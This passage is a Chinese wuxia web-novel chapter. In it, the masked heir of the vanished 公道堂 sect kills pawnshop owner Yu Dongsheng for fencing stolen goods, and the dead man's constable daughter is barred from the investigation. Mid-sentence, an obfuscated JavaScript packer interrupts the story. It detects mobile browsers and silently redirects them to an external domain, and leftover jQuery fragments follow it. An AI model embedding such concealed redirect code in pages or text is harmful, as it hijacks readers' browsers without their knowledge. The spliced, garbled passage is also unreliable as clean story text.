“那可未必吧?朱老大是不是你找来试探她们的?”喻枫咬着筷子,小白眼一翻,“我身为捕头,维护一方安宁,你不能为我助力,也别拖我后腿呀!下次遇到拿不定的主顾,宁可生意不做,也别整这些鸡毛事。” 她说得粗俗,喻东升却笑了起来,连连点头:“是,我知道了,听喻捕头的,以后一定谨慎。” 喻枫的神色却慢慢凝重起来,想了想还是忍不住说:“爹,现在世道乱了,金满堂的生意,我知道也有些见不得光的,是不是——” “枫儿,咱们不是早就说好了吗?”喻东升温和地说,“你有你的志向,想当捕头维持正义,爹不拦你,但爹创下这番家业也不容易,金满堂十三家分店,还有各路兄弟,加起来几百上千人,都指着这盘生意过活,岂是我说不干就能不干的?世道乱归乱,我心里有数。” 看喻枫还要说话,喻东升索性站了起来:“看到你好好吃饭,爹也就放心了,这就回了。” 喻枫放下碗,跟到门边,不知怎么,心里突然轻微一痛,看着父亲消瘦的背影,鬼使神差地冒了一句:“爹,你保重啊。” “傻孩子。”喻东升回头拍了拍她的肩膀,“爹在店里风吹不着雨淋不到的,你天天在街面上拿贼,你才该小心点。” 喻枫一昂头,手按着腰间单刀慨然发声:“放心!你女儿现在是已经是独当一面的捕头了。” 与此同时,万花楼三楼的单间里,江潮生低眉顺眼地站在桌边,脸上挂着讨好的笑,看着一位姑娘慢条斯理地吃着小馄饨。 “唔。”姑娘吃完了,连汤都喝了个干净,满足地用绢帕擦了擦嘴,笑着说,“还是原来的味道……张大哥也真是的,不拘叫谁送一趟就得了,怎么还麻烦小江哥?” 江潮生急忙哈腰赔笑:“不麻烦不麻烦,发财说怕耽误时间,绉纱馄饨皮坨了不好吃,不能展现他的手艺,阿水姑娘吃得满意就好。” 阿水轻轻一笑,眉目流转之间尽现妩媚风情,声音却低了下来:“我刚在万花楼挂牌的时候,每天夜里出局子回来路过张家面摊,都要吃一碗小馄饨的,唉……一晃七八年过去,面摊早都没了,没想到还能吃上这一口。” 她叹口气,抬眼看着江潮生,目光中一片真挚柔情:“跟他说,以后别送了,你也别再来,万花楼不是什么好地方,你们都是好人,勤勤恳恳攒点钱,找个好姑娘去过自己的日子吧,若是……有下辈子,我也愿意……许了他的。” 阿水说得凄婉,江潮生的面色却古怪起来,搓着手尴尬地说:“阿水姐姐,这招你也别用在我身上啊。” 仿佛变脸一般,阿水噗嗤一笑,又恢复了灿烂明媚的笑容:“讨厌,非要揭穿我,人家应付客人说顺嘴了嘛。” 江潮生觑着她的脸色,心中一动,故意问道:“阿水姐姐,有件事发财不好说,我倒想替他开口。” 阿水吃饱了犯困,无聊地托着下巴,眼皮都不撩一下:“说呗,我看看那胖子狗嘴里能吐出什么象牙。” “阿水姐姐,你屋子里好香啊,不愧叫万花楼。”江潮生恭维道,“发财总觉得自己身上味道大,每次见你都怪不好意思,想问问有什么香可以熏在衣服上,多洗几次都不会变味的?你也知道,他如今挣得不多,那种一洗就掉的可不行!” “百濯香啊?”阿水想了想,又去柜子里翻了翻,空着手回来,摇摇头,“听老阿姐说过,万花楼从十二三年前就不大用了,这种香也怪讨厌的,除了当红的姑娘,哪个客人愿意沾着一袖子香回去,不怕被家里老婆拧耳朵?” 她说着又笑起来,明眸流转看着江潮生:“回去告诉胖子,有几个钱别瞎折腾,就他在后厨烟熏火燎的,什么香都白搭。” 江潮生慌忙低下头去,阿水银铃般快活的笑声中,他却眼神凝重,好像在琢磨着什么。 新的一天,照样是万里无云,阳光灿烂,而那位鸿宾楼的贵客,终于千呼万唤地出来了,坐着那辆雕梁画栋的马车,缓缓地驶向金满堂。 江洲城里那些无所事事的闲汉混混,是最爱看热闹的,一传十,十传百,等马车驶到金满堂门口的时候,已经塞了半条街,闹闹哄哄地踮着脚,拥挤不堪。 若不是这次驾车的车夫旁边坐了个抱着长剑的短打精壮汉子,三白眼内目光如炬,一看就不好惹,他们怕不是要一哄而上伸手讨要了,不给也得给! 听说这是一掷千金的京里贵客,随手扔点银子铜钱下来,也够他们吃顿饱饭。 “让开!都让开!堵着路作甚!?”喻枫不大放心,一早就带了两名衙役巡街,果不其然看到金满堂门口被堵得水泄不通,她凤眸一眯,用手中刀鞘粗暴地一路敲打过去,有闲汉猝然被打,正好发怒,回头一看是她,膝盖就软了下去,赔笑道:“喻捕头呐!我们只不过来看看热闹,可不敢闹事。” “再不走,算你们一个寻衅滋事!”喻枫面沉似水,严厉地说。 正说着,江潮生混在人群中鬼鬼祟祟的样子就被她抓了个正着,喻枫一股无名火冒起,越过众人,一把揪住他的后衣领:“江潮生!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598496|171954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哎,哎?!”江潮生惊叫一声,没来得及反应已经被喻枫拖死狗一样拖了出去,不由分说地扔给两个衙役,硬梆梆地下令:“抓起来!” 衙役狞笑着抖动手里的铁链就往江潮生头上套,这一下可是实打实的,周围人群轰地一声散开,顷刻跑得无影无踪。 外面街道发生的小骚动,是没有影响李掌柜的好心情的,他毕恭毕敬把贵客迎进门,只是进门时候偷眼觑了一下,一路就再没敢抬头。 乖乖,这是哪里来的娇贵公子,脸色白得像是吹口气就能化了一样。 香堇看到重新布置过的精舍,也是十分满意,低声恭谨地在叶景行耳边低语:“此处勉强可以坐得,公子先歇一歇。” 这一歇,就由香堇和小丫鬟先上了茶,洗了手,重新换过坐垫,折腾一通之后,叶景行轻声说:“有什么好东西,就都拿出来罢。” 李掌柜在门外听着,慌忙又去检点了一下,把几样凑数的撇开不要,又挑了几样珍品,一件件捧着来给贵公子过目。 但很遗憾,他精心挑选的,对方一律看不上眼,连香堇都发出嗤笑:“掌柜的,我再三叮嘱过,你就拿这些行货来敷衍?我看金满堂也是名不符实,以后你还怎么做生意?关门得了。” 李掌柜看着堆了满地的珍宝,珠光宝气耀人眼,便是放在京里给贵族千金添妆也是一等一的好货色,无奈对方看不上眼,眼看生意做不成,也是急得额头冒汗,正要说话,叶景行一摆手,指了指箱子里一只羊脂白玉雕的狻猊,额头俏色雕出一丛浓密鬃毛,笑着说:“那只倒是有些意思。” 香堇急忙用丝帕垫手,亲自捧过来,叶景行伸出手指,轻轻戳了戳,笑道:“粗蠢了些,只留个头,给高远当剑坠子玩罢。” 李掌柜还没明白,就听见一直抱着剑站在旁边的护卫轻笑一声,上前抓过玉雕,单手一搓一掰,巴掌大的玉雕顷刻化为粉末絮絮而下,只留一个头还在指间:“谢公子的赏。” 这一手轻描淡写,状似无意,实则立威,李掌柜口干舌燥,心跳如鼓,却听到香堇娇笑道:“掌柜的心疼什么?我们又不是不给钱。” 李掌柜到底也经过风雨,飞快收敛心神,点头哈腰:“原来公子喜欢俏色巧雕的玩意儿,我这里正好有一件。” 这次他离开的时间有些长,香堇倒还沉得住气,反而是护卫高远眼珠子乱转,蹲下身用手拨拉了一口箱子里装得满满的珍珠,低声说:“这品相,比王府里的都好!” 香堇冷冷地瞥了他一眼,叶景行闭目养神,俊秀的面颊半埋在洁白大毛领里,低声说:“江南富贵,堪比皇家,不是白说的。” 此话一出,一室寂静,直到李掌柜匆匆赶来,一脸如释重负地笑,手里捧着个一尺长的盒子,如玉莹润,又仿佛细细密密缠绕着无数金丝,迈进门槛的时候被阳光一照,反射出无数璀璨光点,一屋子的珠光宝气都被压了下去。 香堇都不禁睁大了双眼惊呼:“金丝砗磲?这可是南海贡品,我只在皇……贵人身边看过一串佛珠儿。” 佛珠才多大,而这里竟然有整整一个盒子这么多!本身的贝壳又该是多么难得的深海庞然巨物?而这样珍贵的佛家七宝,在这里却只能做一个收纳的盒子,其中放置的又该是怎样的宝物? 李掌柜很得意于香堇的识货,脚步都轻快起来,双手捧着送到叶景行面前:“这可是压箱子底的好货,若是公子还不入眼,那今日金满堂就真惭愧得要关门了。” 他的手缓缓拉开盒盖,露出里面一尊白玉观音像,宝相庄严,通体滑润细腻如脂,展露的一瞬间,周围金丝围绕璀璨耀眼的盒子竟都成了陪衬,让所有人的眼里只看得见它。 香堇等人,情不自禁地屏息,怔怔地看着,唯有叶景行表情淡漠,一如往常,伸出手握住了观音像的中部,放到眼前细细观赏。 这块玉料天生一点红,被放在观音眉心处做个朱砂记,浑然天成,衬着观音慈悲的五官,更多添了一分悲天悯人的意境。 李掌柜弯着腰,终于听到叶景行下了决定:“好,就它了。” 大头做成,余下的小生意也做了几件,叶景行吩咐李掌柜包了一斛明珠‘回去串个门帘,夏天用清凉些’,捡了两盒西洋传来的红蓝宝石,又命把字画拿来:“客栈里四面落白的,该挂几幅画补壁。” 字画是当铺里最不缺的,李掌柜揣摩着他的心思,拿了几十卷来展示,叶景行挑挑拣拣,也拿走了十幅。 最终算账,除了开始的定金,又补了七万五千两银子,李掌柜满面春风地接过银票,恭送大客户出门。 叶景行此时又恢复了贵公子的做派,听李掌柜舌绽莲花的恭维一脸厌倦,一言不发,恹恹地上了马车,香堇亲自抱着金丝砗磲盒,出来时对李掌柜说:“今天很好,以后还来光顾你生意呀。” 李掌柜受宠若惊,又是鞠躬又是作揖:“随时恭候,大驾光临。” 香堇回眸一笑,上了车,规规矩矩地坐在车厢一角,马车向前稳稳行驶,外面街道的叫卖声十分热闹,车厢内却寂静无声。 直到叶景行睁开眼睛,说了一句:“吩咐高远,今晚行动。” 香堇低声说:“是……不过,公子,是不是仓促了些?” 叶景行垂头,将一卷古画在自己膝上徐徐展开,这是一副景物图,画的是江边芦苇丛生,孤舟渔翁,水天一色,正是前朝顾大家的《垂钓图》。 他声音喑哑,透着一丝寒意:“我容不得此贼活到明天。” 白皙手指抚过泛黄的画纸,在芦苇丛的位置反复摩挲,若是此时有人凑到跟前细看,就可以看到在芦苇根部的墨迹里,隐藏着一个细小而歪歪扭扭的‘唐’字。 那是他三岁时候在父亲书房习字,一时淘气留下的印记,父亲并未责怪他,而是笑道:“如此也好,这副画便长长久久地留在唐家罢。” 只是,这世间又哪有什么长长久久。 又是忙碌的一天,喻枫疲倦地跨出府衙,只想赶紧回家好好睡一觉,守在禁所门口的衙役却赶上来拦住了她:“喻捕头,今日您抓的那个小贼还关在牢里,是枷是放,给个示下。” 喻枫迷茫地看着他,今日她倒是抓了三个贼,俱是人赃并获,哪里还需要什么示下? 不好!她猛醒过来,上午她拿江潮生做筏子杀鸡儆猴,本来想中午就放他出来,结果太忙给忘记了。 江潮生被推出禁所的时候,喻枫还站在府衙门口,她一身捕头的青衣长衫,腰上挎着单刀,裤腿紧束在皂靴里,身形挺拔如修竹,正在沉思着什么,秀丽面容被头顶的大红灯笼一罩,竟有几分肃杀之意。 “喻捕头。”江潮生本打算偷偷贴着墙溜走,喻枫警觉地凤眸一眯,已经看了过来,他心里叫苦,只能上前弯腰打招呼。 喻枫上下打量了他一番:“是我疏忽忘了你,让你在牢里待到这时候,对不住。” “没有没有。”江潮生的腰又弯下去了几分,连连摆手,“常听朝廷的大贵人们说什么,雷霆雨露,俱是君恩,江洲城人人都知道喻捕头忠于职守,嫉恶如仇,我还有什么可说的?抓也好,放也好,都是您老人家的恩典哩。” 喻枫觉得他阴阳怪气,但也不欲再说,随手一挥,江潮生如蒙大赦,越过她身边就要溜走。 不知什么原因,喻枫心里一动,又叫住了他:“江潮生!” 江潮生尴尬地停住脚步,转过身来,讨好地笑:“喻捕头还有何吩咐?” 此时府衙门前的空地上空空荡荡,只有他们两人,头顶的大红灯笼随风摇摆,映照着牌匾上庄严的府衙二字,也映着他们两人的身影。 “江水汤汤,潮生万物,或为鱼鳖,或为虾蟹,或为田螺河蚌,没有人能保证一定化龙飞天,但起码……不要让自己变成一坨臭河泥。” 喻枫不知道自己为什么要说这些,但她还是说了。 而江潮生在灯光之下的脸突然变得十分陌生,眼神悲伤凝重,像是透过她在看什么遥远的过去。 那一刻,他不是江洲城里的小混混江潮生,而像是沉在江中的一抹冤魂。 喻枫眨眨眼,怀疑自己看错了,因为江潮生再度恢复了惫懒滑头的模样,无赖地笑着:“喻捕头,天地造物总是有定数的,如果有人生来就是一坨臭河泥,那想必也没有别的命。” 说完,他转身,一瘸一拐地消失在夜色里。 这一夜,注定是不平静的,二更天的时候,淅淅沥沥竟然下起了雨,雨势不大,细细密密的将江洲城织在一张湿润的网中。 今日发了一注大财,又有多少用钱的去处,喻东升在书房里忙到现在,入夜时分添满的灯油都烧剩了个底,他放下笔,站起来走到窗前,看着雨水犹如丝线缠绵不绝,将院子里的石板洗得发亮,不由得捻须微笑:“总算下雨了,灾情好歹有了盼头。” 一阵风吹来,他的微笑凝固在脸上:有什么不对劲。 这份安静……仿佛拱卫着金满堂腹地的七八个套院里的人,都在同一时刻睡着了。 似是夜风吹动了他摊在书桌上的账册,发出哗啦啦的声音,喻东升很久都没有尝过如芒在背的感觉,他不动声色地调匀了呼吸,右手已经暗暗深入袖中,握住了一柄缠绕在小臂上,从来不曾离身的软剑。 “不速之客,半夜闯入,这不大合规矩吧?” 喻东升肃然转身,锐利目光射向自己刚离开的地方,果然,有个黑衣人无声无息地站在书桌边,低头看着桌上的账册。 “都是江湖道上的人,求财?还是寻仇?”喻东升谨慎地站在原地,考量着是上前激斗还是赶紧以背撞破窗户逃至院中,他精心经营金满堂多年,不是没有过被人找上门来的经历,只是本能告诉他,这个黑衣人深不可测,绝非他素日接触过的江湖人士可比。 想到这里,喻东升决定认怂,他双手一拱:“若是求财,我这里倾其所有相赠,绝无二话。” 但若是寻仇,喻东升自忖他在江湖上是个财神爷,也不会跟谁有血海深仇啊。 黑衣人淡淡地问:“你认得这个吗?” 说着,他举起了右手,纤长手指在灯火下白皙如玉,指间握着一件物事,长一尺七分,一头如枣核般,通体黑色,内里却又遍布金沙,辗转在白玉一般的指间,越发显得有一种奇诡的华丽。 顷刻之间,喻东升认了出来:判仙笔!江湖势力又怕又敬,鼎鼎大名的判仙笔!公道堂的判仙笔! 只是公道堂不是十五年前随着唐无双被明正典刑,枭首示众而一夜之间烟消云散了吗?这支笔又怎么会突然出现…… 而且是出现在自己面前? 喻东升咽了口唾沫,声音沙哑地问:“判仙笔,重要的不是这支笔,而是执笔的人,公道堂已经没了,不是你随便拿支笔就可以出来招摇撞骗的。” 此时他竟然有些忘记了黑衣人带给他的压迫,反而升起一股莫名的愤怒,判仙笔对于江湖而言已经变成了传说,但唐无双已经死了!若是他活着,公道堂还在…… 如今只留下一支笔,又有什么用。 喻东升盯着黑衣人,发现对方戴着个面具,不由微微一笑:“怎么,你敢拿着判仙笔出来冒名顶替,却不敢以真面目示人吗?” 黑衣人毫不动容,歪了歪头,轻声说:“天公地道,令出无双,判仙笔已至面前,你还觉得自己无辜?” “当然!”喻东升冷笑,“喻某人行善事,做好人,金满堂十三家分店,二十年历史,从来没有过压榨百姓财物之举,俯仰天地,无愧于心。绝无被判仙笔决断生死的可能,今天就算是公道堂龙头老大唐无双亲自来了,我也敢跟他当面辩驳!” 黑衣人点了点头:“我知道,你还常年修桥补路,施米舍粥,就说这次旱灾赈济流民,你在其中也出力不少,谁提起喻员外来不说一声大善人。” 他平静地抬头,黑眸透过面具上的孔洞,冰冷地看向他:“只是你当真问心无愧吗?” 细密的春雨被风吹入窗棂,打在喻东升的后背上,不知道是雨还是汗,他觉得自己全身濡湿僵冷,一时之间竟然说不出一个字。 “世人都知齐之峰事母最孝,其母信佛,家中大小佛像数不胜数,曾夸口说连皇宫里太后供的玉座金佛都不如他家的贵重……”黑衣人意义不明地一笑,又转了话题,“但没有人知道,齐之峰原名海虾米,是海龙帮邓老大的七徒弟,邓家覆灭之后,他带着兄弟摇身一变,成了贩盐的齐大户,所谓信佛不过是早年做的船上生意,风云变幻莫测非人力可争,只能求菩萨给条生路罢了。” 黑衣人停了下来,甚至是彬彬有礼地问:“可对?” “不……我不懂,齐之峰,齐大户不是之前被灭门了吗?”喻东升喃喃地说。 “江湖规矩,祸不及妻儿,求财罢了,为什么要灭人家满门呢?”黑衣人叹息道,“就算齐大户的妻妾儿女该死,那些奴仆家丁丫鬟……又有何辜?” 喻东升突然嘶声吼了起来:“这和我有什么关系!你不会以为齐大户是我派人杀的吧?我打开门做生意,有人拿东西来当,我难道还能往外推?我怎么知道它是不是赃物?!” “你知道。”黑衣人低下头,手指翻过桌上的账册,“喻东升,你骗得了别人,骗得过自己吗?” 又一阵风吹来,雨越发大了,打在瓦片上叮当作响,正是个杀人的好天气。 喻东升无力地辩驳:“天底下的当铺收些来历不明的东西,也是常事,何况我本来就是江湖中人,纵马四海,结交一票好友兄弟,后来我开了当铺……我承认我的确知赃销赃,可是我跟他们不是一伙儿的!更没有指使他们杀人越货,他们拿东西来,我收,就是这么简单!我挣钱不是为了自己花天酒地!而是这世道……太难了,忠心耿耿跟我的兄弟,我讲义气,要养他全家,这笔钱从哪儿来?是!我知道这些钱亏心,所以我大把大把地施舍出去,没有一分钱用在自己吃喝玩乐身上!” 黑衣人沉默了,目光落在他洗得发白的蓝衫上,堂堂大东家,半夜在书房盘账的时候,只点了一盏油灯,连多支蜡烛都舍不得,喻东升说的话倒是没错,只是…… “唐无双是怎么死的,你还记得吗?。”黑衣人轻声说。 喻东升不解地看着他:“当然记得,十五年前被朝廷枭首示众,江湖传言是公道堂里出了叛徒。” “传言……不可尽信。”黑衣人下一句让喻东升脸色大变,“但唐家的《垂钓图》确实实实在你手里。” 喻东升眼睛瞪大,电石火光之间反映过来,指着他怪叫:“你!你就是白天……” 不等他说完,黑衣人手中判仙笔一旋,冷酷杀气扑面而来,“凭这一点,你就该死!” 无边花雨,漫天而下,窗外雨势更急,仿佛捅破了天,要把积攒了两个季节的水一股脑儿地倾泻而下。 而鲜血,也在地面慢慢地弥散开来。 4. 第三章 公道堂再出世 雨后清晨,本来该是非常怡人的天气,江洲城里却弥漫着一股紧张的气氛,出来过早的人们交头接耳,互相使着眼色交流自己得到的消息:“死了人,血都流到门外了。” “一大早仵作就去了,我亲眼看见的。” “衙役们把金满堂给封了……我就说开当铺的都不是什么好人吧?” 他这话得到了众人的嘘声,纷纷开口谴责:“金满堂不是那种敲骨吸髓的黑心当铺!就说今年,这里的流民哪个没吃过金满堂舍的粥!” 他们正在议论,就看到喻枫的身影,她平日在街面上抓贼都很少施展轻功,此时却不管不顾,踩着街边的屋顶飞奔而过,衣袂一闪,人已经不见。 “才看到相捕头过去,喻捕头也去了啊,这案子小不了!”众人惊疑不定。 喻枫对于下面的议论,完全没听见,她脸色惨白,一路狂奔,到了熟悉的街道,看到门口执刀守卫的衙役,一口气没上来,差点摔到地上。 不会的……一定是别的案子,被杀的是其他人……也许是失盗…… 喻枫不停地安慰自己,落地一抖衣襟,就要直冲进去。 “喻捕头!”出乎意料,两名站门口的衙役伸手拦住了她,“案发重地,不得进入。” “让开!你们看清楚我是谁!”喻枫怒火中烧,硬梆梆地就要往里闯,两名衙役被拨开又冲了回来,死死地挡在她前面:“小的们得了钧令,不能放您进去。” 喻枫已经看到了他们身后院子里的血迹,隐隐约约廊下还有被白布遮盖的人体,她不敢多想,咬着牙呛啷一声抽出单刀:“我看看谁敢拦我!” “是……是相捕头下的令。”衙役懵了,结巴着说,“他特地交代您不能进。” “我是捕头!地面上出了案子,我为什么不能进!?”喻枫咆哮着,拿刀的手都在微微颤抖,“你们再拦一下试试!” 她举刀就要往里冲,衙役惊呼一声,左右分开,喻枫身形一晃,已经到了院子中间,瞬间瞪大了双眼。 廊下竟然不止一具尸体,放眼望去,足有四五具,还有衙役在从里面往外抬。 外院如此,那内院…… 喻枫刚要往二门上冲,一个高大身影挡在了她面前,面容严肃,眼神凝重,喻枫本能地拱手施礼:“相捕头!” 江州府衙总捕头相不凡,四十开外的年纪,平素沉默寡言,仿佛除了抓贼破案之外没有什么能让他分心的事物,此时他挡在前面,看向喻枫的眼神里少有地带上了一丝同情。 这让喻枫很不舒服,她昂着头,直接要求:“相捕头,我要进去。” “喻枫,你……不进为好。” “我既然当了捕快,查案就是我的职责,当年你说过把我和其他捕快一视同仁的!我喻枫自问这几年也从无懈怠,不至于要相捕头你另外照顾!” 喻枫自己都没意识到,她的眼睛已经被怒火烧红,若是相不凡再不让开,她的刀只怕下一秒就要劈过去。 相不凡深深叹气,压低声音说:“这案子……你得回避。” “凭什么!”喻枫刚问出这一句,突然想到什么,脸色惨变,颤抖着声音问,“我爹……死了?你们知道喻东升就是我爹?” 相不凡再度叹气,此时从内院走出府衙的李师爷,只看了一眼,就明白当前情势,走过来微微挡住了内院中人的角度,低声说:“你是喻东升的女儿,从你刚入职的那一天,我们就知道。” “你们……都知道?”喻枫此时被打击得开始六神无主,她喃喃自语,“可从来没有人当面说起过……” “世人皆有不想让人知道的秘密,只要不妨碍他人,大家装个糊涂混过去也就是了。但此案非同小可,你是死者直系血亲,大宁律铁板直书,查案过程必须回避,我们不能知法犯法。”李师爷耐心地解释。 喻枫涣散的眼神重新坚定起来,她咬着牙说:“那作为死者的女儿,我进去看我爹最后一眼,这总是可以的吧?” “喻捕头,你……唉。”李师爷无奈地叹气,相不凡却低声说:“我劝你不要暴露身份,否则,作为金满堂的继承人,你马上面临的麻烦还要多。” 喻枫愕然抬头:“什么意思?” 相不凡的声音冷硬:“现场留下了一篇判词,说金满堂勾结贼盗,杀人越货,暗地销赃,这一笔黑钱的来路……就已经是夷三族的罪名了。” 鸿宾楼的后舍小院弥漫着汤药的味道,听说是那位贵公子昨天出门扑了风,身上大不自在,一大清早就出去请了大夫,开方抓药,忙个不停,前面客栈的伙计一边擦门一边感慨:“真是富贵得都没边了,吹个风也要请医吃药的。” 说是生病,倒并不假,明明是暮春天气,房里却关门闭户,叶景行倚在榻上,一条雪白羊绒织毯盖着双腿,白皙脸颊上浮现一抹病态的嫣红,他轻轻咳嗽着,一副病弱的样子,说出来的话却寒意森森:“为什么胡乱杀人?” 高远笔直地跪在地上,头跟葱一样昂的高高的:“属下奉命总揽外围,看那几个人似有所觉,不杀怕坏了公子的大事!” 叶景行冷冷地看了他一眼,又看向站在一边的香堇,香堇眉毛一挑,全然没了人前的娇怯模样:“放屁!外院的人我都用迷香迷晕了,哪里会爬起来坏事?你是暗指我办事不力?” 她压着声音,言语却激烈,又赶紧向叶景行辩白:“公子,这是咱们早就制定好的计划,我不放心,还特地加重了药量,不信你问陶陶,我们赶去的时候,高远这王八蛋都要跑到屋子里杀人呢!” 高远吊起眼睛,不屑地看着她:“陶陶那个小丫头和你好得跟亲姊妹似的,她自然向着你说话。” 香堇还要开口,叶景行袖子一拂,桌面上的茶盏扫落地面,摔得粉碎,这下两人都不吭声了,双双低头,齐声说:“是奴婢(属下)的错,公子莫要动气。” “我在内院斥责喻东升勾结匪盗滥杀无辜,你们倒好,在外院大开杀戒。”叶景行冷笑着问,“是嫌事情闹得不够大?还是觉得判仙笔要以杀人才能立威?” 高远低着头恭敬地说:“公子,属下一直在王爷身边做事,讲的就是个滴水不漏,宁可错杀一千,不可错放一个,公子心地善良,属下却不能不考虑周全,务必保证公子无事,故而听见些许风吹草动便擅自动了手,属下领罚,却不后悔。” 他偷偷抬眼觑着叶景行的脸上,小声说:“这也是王爷的意思,宁可事情不顺利,也不能有丝毫让公子暴露身份的风险,王爷心中一直有个遗憾,公子是知道的。” 叶景行垂下睫毛,一动不动,俊美的面孔犹如雕塑,心里被强行压制的悲伤凄绝又绵绵密密地翻了上来,啃咬着他的四肢百骸。 如果……当年父亲的身份不暴露,内奸没有追到唐家庄,他至少可以保住唐小江这个唯一的朋友吧。 “罢了。”他挥挥手,“下不为例。” 高远咧嘴一笑,从地上爬起来,又对着香堇得意地补了一句:“要我说,行大事者不拘小节,金满堂内外套院住的都是些打手护卫,哪有什么无辜不无辜的,就不该妇人之仁才是。” 香堇冷笑着把手伸入袖中,高远惊觉,退步向后一下蹦到门边,正好门口陶陶恭声禀报:“公子,府衙来人了。” 高远急忙把门推开,一阵风吹来,叶景行不适地偏过头去,咳嗽了起来,香堇急忙趋前伺候,又是拿漱盂又是端茶杯。 门口出现一个高大身影,锐利目光顷刻之间扫遍室内,又转到榻上斜倚的叶景行身上,沉声说:“在下江州府总捕头相不凡,见过这位……” 他有意停顿了一下,香堇接到了叶景行的眼神示意,转身敛袖一礼,笑着说:“原来是相捕头,我家公子姓叶。” 说到这里,她也停住了,意味深长地一笑,曲起手指数了数:“相大人,承熙九年,您在三法司衙门任职的时候,没准还见过我们公子呢。” 相捕头向前的步伐顿了一顿,来之前他得知这是位京城来的贵公子,但是没想到……叶,可是国姓。 “香堇,莫要顽笑,相捕头是公门中人,想必是有要事才上门,不是与我来叙旧的。”叶景行把手帕从嘴上挪开,随意扔到榻下,微一点头:“请直言无妨。” 被问到脸上了,相不凡只能开口:“叶公子,昨天可去过金满堂?” 叶景行睁大眼睛,无辜又困惑地点头:“去过,买了几样玩意。” 也许是相不凡的脸色太沉重,叶景行后知后觉地问:“难道……那个老板卖给我的是贼赃?现在失主找来了?香堇!快把东西都拿出来,给相捕头过目!” 他说得急,又呛咳起来,香堇哎哎地答应着,一下要去拿东西,一下又赶上来替他顺气,忙的陀螺一般,这时候陶陶又端着汤药走进来:“公子,趁热喝药罢。” 香堇忙中还不忘回头看着相不凡,多少带了点嗔怒:“相捕头,我们公子身份何其贵重,什么要紧的案子,还敢直通通地问到我们公子面前?若在京里,你怕是连门都进不来,行了,你且回吧,这里没工夫招待你。” 相不凡冷眼旁观,心想,这场病,还真是病得巧了,任谁也不能把这位病弱贵公子和半夜杀人的凶手联系起来。 江潮生昨天是在鼎香楼的后厨灶火边窝了一夜的,外面下雨,他又不想去破庙里跟流民抢地盘,好在还有个兄弟张发财开后门把他偷偷放进来。 鼎香楼不做早市,他本来可以舒舒服服地煨着灶火睡到中午,却在巳时就被张发财疯狂摇醒:“小江哥!死人了!金满堂的东家被人杀了。” 江潮生一骨碌翻身,瞪着眼睛四下乱看:“谁?谁死了?快跑啊还等啥!” 张发财哭笑不得地一巴掌拍醒他:“是金满堂,好家伙!官爷们把整条街都封了,正从里面往外抬尸体呢,听说至少死了这个数!” 他把手掌翻来又翻过去,江潮生打着哈欠又想往地下躺:“世道乱啊,前阵子是齐大户,今天轮到金满堂,再闹灾下去,土匪都要比良民多了。” “不是土匪!土匪哪能进城来杀人。”张发财神神秘秘地说,“是判仙笔,公道堂的判仙笔!” 他兴奋得眼睛放光,滔滔不绝地说:“你听说过公道堂吗?你是丐帮弟子应该知道的,我小时候,跟着我爹开面摊,有时候客人们就会提起公道堂,说在当时的江湖道上赫赫有名,来无影,去无踪,但谁要是做了亏心事,公道堂必定会为冤屈的人讨回公道。”、 “呵呵。”江潮生发出干笑。 “哎呀你不信吗?我可听说了,公道堂的龙头老大有一杆判仙笔,善使十三式雨花笔法,犹如天罗地网,无人能逃!若是遇到有人不服他的判决,他就卷起袖子,好好跟人讲一讲道理。” 张发财的胖脸上洋溢着欢乐,仿佛他现在不是一个油腻后厨的学徒,而是已经身在江湖,正跟着公道堂行侠仗义,好不神气。 “可是,他还是死了啊。”江潮生喃喃地说。 张发财没听清,刚要凑近问,后脑上就被狠狠拍了一巴掌,惊慌回头,不出意外地看见陆大厨凶相毕露,一手抄着沉重的铁锅,另一只宽厚的巴掌虎虎生风地又扇了下来:“一天到晚不做事!在这里嚼蛆!好哇,还带着外人进后厨?滚出去!不然剁了手脚用大锅煮做猪食!” 江潮生瞬间反应过来,很没义气地脚底抹油沿着墙边就溜了出去,只留下张发财捂着头在原地求饶。 公道堂,判仙笔,这两个已经消失了十五年的名字再度被人提起,一时间江洲城的大街小巷,遇到的人好像都突然想起了从前,七嘴八舌地开始议论自己记忆里的公道堂。 甚至街边茶馆说书的先生,都立刻抛掉了《三国》《水浒》,拍着惊堂木讲得口沫横飞:“那西南王家堡遗孤举着血衣,跪在武林盟主身前,哀哀求告,说不尽的悲惨,全场英雄鸦雀无声,此时却听盟主一声长叹,说‘一入江湖,腥风血雨,技不如人便该认赌服输,你若要替全家报仇,我可收你为徒,尽心教授,待你一身武功练成,多少冤屈自己去讨还,至于你们之间的恩怨我却是不能插手偏帮的。’,诸位!那遗孤年方七岁,身体孱弱,怎能对抗如日中天的鹰爪门?眼看无望,竟至昏倒在地口吐鲜血,此时鹰爪门瓢把子刘老鹰猖狂至极,站起身来哈哈大笑,却不料此时一声断喝,只见有人手执一杆流光溢彩的黑金笔越众而出,正是十八岁的唐无双……” 江潮生越走,脚步越沉重,他不明白,是谁旧事重提,又是谁杀了金满堂的东家,还要栽赃给一个早已经死了的人? 他看着面带兴奋议论纷纷的众人,心里只觉得疲倦,唐无双死了,他的头被砍下来挂在旗杆上示众,是江洲城所有人都知道的事。 为什么人死了还不能安生,还要被翻出来津津有味地反复议论? 等走到十字路口的时候,他实在走不动了,干脆将身一滚,找了个墙角窝着,眼睛直愣愣地看着前方的天空。 那是从前唐无双的头挂着的地方。 太阳暖洋洋地晒在身上,旁边的瞎老头照旧拉着破胡琴,咿咿呀呀的,江潮生困倦地眯起眼睛,劝自己,睡吧,睡着了就没事了。 突然,横空一脚不轻不重地踢在他腿上,江潮生闭着眼睛没好气地嘟囔:“这地是你的?占你窝了?” “江潮生。”喻枫的声音传入他的耳朵,江潮生心下一紧,一骨碌就爬了起来,脸上挂着熟悉的讨好笑容:“原来是喻捕头……” 